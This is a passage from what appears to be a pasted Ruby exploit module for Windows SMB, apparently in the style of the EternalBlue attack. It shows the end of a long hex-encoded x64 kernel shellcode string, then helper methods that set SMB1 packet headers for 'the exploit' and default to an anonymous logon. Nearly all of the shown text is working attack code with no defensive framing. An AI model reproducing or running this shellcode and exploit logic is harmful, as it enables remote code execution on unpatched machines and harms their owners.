  823. "\x00\x66\x81\xC1\xF9\x00\xF3\xA4\x48\x89\xDE\x48\x81\xC6\x08\x03" +
  824. "\x00\x00\x48\x89\xF1\x48\x8B\x11\x4C\x29\xE2\x51\x52\x48\x89\xD1" +
  825. "\x48\x83\xEC\x20\x41\xBB\x26\x40\x36\x9D\xE8\x09\x01\x00\x00\x48" +
  826. "\x83\xC4\x20\x5A\x59\x48\x85\xC0\x74\x18\x48\x8B\x80\xC8\x02\x00" +
  827. "\x00\x48\x85\xC0\x74\x0C\x48\x83\xC2\x4C\x8B\x02\x0F\xBA\xE0\x05" +
  828. "\x72\x05\x48\x8B\x09\xEB\xBE\x48\x83\xEA\x4C\x49\x89\xD4\x31\xD2" +
  829. "\x80\xC2\x90\x31\xC9\x41\xBB\x26\xAC\x50\x91\xE8\xC8\x00\x00\x00" +
  830. "\x48\x89\xC1\x4C\x8D\x89\x80\x00\x00\x00\x41\xC6\x01\xC3\x4C\x89" +
  831. "\xE2\x49\x89\xC4\x4D\x31\xC0\x41\x50\x6A\x01\x49\x8B\x06\x50\x41" +
  832. "\x50\x48\x83\xEC\x20\x41\xBB\xAC\xCE\x55\x4B\xE8\x98\x00\x00\x00" +
  833. "\x31\xD2\x52\x52\x41\x58\x41\x59\x4C\x89\xE1\x41\xBB\x18\x38\x09" +
  834. "\x9E\xE8\x82\x00\x00\x00\x4C\x89\xE9\x41\xBB\x22\xB7\xB3\x7D\xE8" +
  835. "\x74\x00\x00\x00\x48\x89\xD9\x41\xBB\x0D\xE2\x4D\x85\xE8\x66\x00" +
  836. "\x00\x00\x48\x89\xEC\x5D\x5B\x41\x5C\x41\x5D\x41\x5E\x41\x5F\x5E" +
  837. "\xC3\xE9\xB5\x00\x00\x00\x4D\x31\xC9\x31\xC0\xAC\x41\xC1\xC9\x0D" +
  838. "\x3C\x61\x7C\x02\x2C\x20\x41\x01\xC1\x38\xE0\x75\xEC\xC3\x31\xD2" +
  839. "\x65\x48\x8B\x52\x60\x48\x8B\x52\x18\x48\x8B\x52\x20\x48\x8B\x12" +
  840. "\x48\x8B\x72\x50\x48\x0F\xB7\x4A\x4A\x45\x31\xC9\x31\xC0\xAC\x3C" +
  841. "\x61\x7C\x02\x2C\x20\x41\xC1\xC9\x0D\x41\x01\xC1\xE2\xEE\x45\x39" +
  842. "\xD9\x75\xDA\x4C\x8B\x7A\x20\xC3\x4C\x89\xF8\x41\x51\x41\x50\x52" +
  843. "\x51\x56\x48\x89\xC2\x8B\x42\x3C\x48\x01\xD0\x8B\x80\x88\x00\x00" +
  844. "\x00\x48\x01\xD0\x50\x8B\x48\x18\x44\x8B\x40\x20\x49\x01\xD0\x48" +
  845. "\xFF\xC9\x41\x8B\x34\x88\x48\x01\xD6\xE8\x78\xFF\xFF\xFF\x45\x39" +
  846. "\xD9\x75\xEC\x58\x44\x8B\x40\x24\x49\x01\xD0\x66\x41\x8B\x0C\x48" +
  847. "\x44\x8B\x40\x1C\x49\x01\xD0\x41\x8B\x04\x88\x48\x01\xD0\x5E\x59" +
  848. "\x5A\x41\x58\x41\x59\x41\x5B\x41\x53\xFF\xE0\x56\x41\x57\x55\x48" +
  849. "\x89\xE5\x48\x83\xEC\x20\x41\xBB\xDA\x16\xAF\x92\xE8\x4D\xFF\xFF" +
  850. "\xFF\x31\xC9\x51\x51\x51\x51\x41\x59\x4C\x8D\x05\x1A\x00\x00\x00" +
  851. "\x5A\x48\x83\xEC\x20\x41\xBB\x46\x45\x1B\x22\xE8\x68\xFF\xFF\xFF" +
  852. "\x48\x89\xEC\x5D\x41\x5F\x5E\xC3"#\x01\x00\xC3"
  853.  
  854. end
  855.  
  856.  
  857.  
  858. # Sets common SMB1 Header values used by the various
  859. # packets in the exploit.
  860. #
  861. # @return [RubySMB::GenericPacket] the modified version of the packet
  862. def set_smb1_headers(packet,tree_id,user_id)
  863. packet.smb_header.flags2.read("\x07\xc0")
  864. packet.smb_header.tid = tree_id
  865. packet.smb_header.uid = user_id
  866. packet.smb_header.pid_low = 65279
  867. packet.smb_header.mid = 64
  868. packet
  869. end
  870.  
  871.  
  872.  
  873. # Returns the value to be passed to SMB clients for
  874. # the password. If the user hs not supplied a password
  875. # it returns an empty string to trigger an anonymous
  876. # logon.
  877. #
  878. # @return [String] the password value
  879. def smb_pass
  880. if datastore['SMBPass'].present?
  881. datastore['SMBPass']
  882. else
  883. ''
  884. end
  885. end
  886.  
  887.  
  888.  
  889. # Returns the value to be passed to SMB clients for
  890. # the username. If the user hs not supplied a username
  891. # it returns an empty string to trigger an anonymous
  892. # logon.
  893. #
  894. # @return [String] the username value
  895. def smb_user
  896. if datastore['SMBUser'].present?
  897. datastore['SMBUser']
  898. else
  899. ''
  900. end
  901. end
  902. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement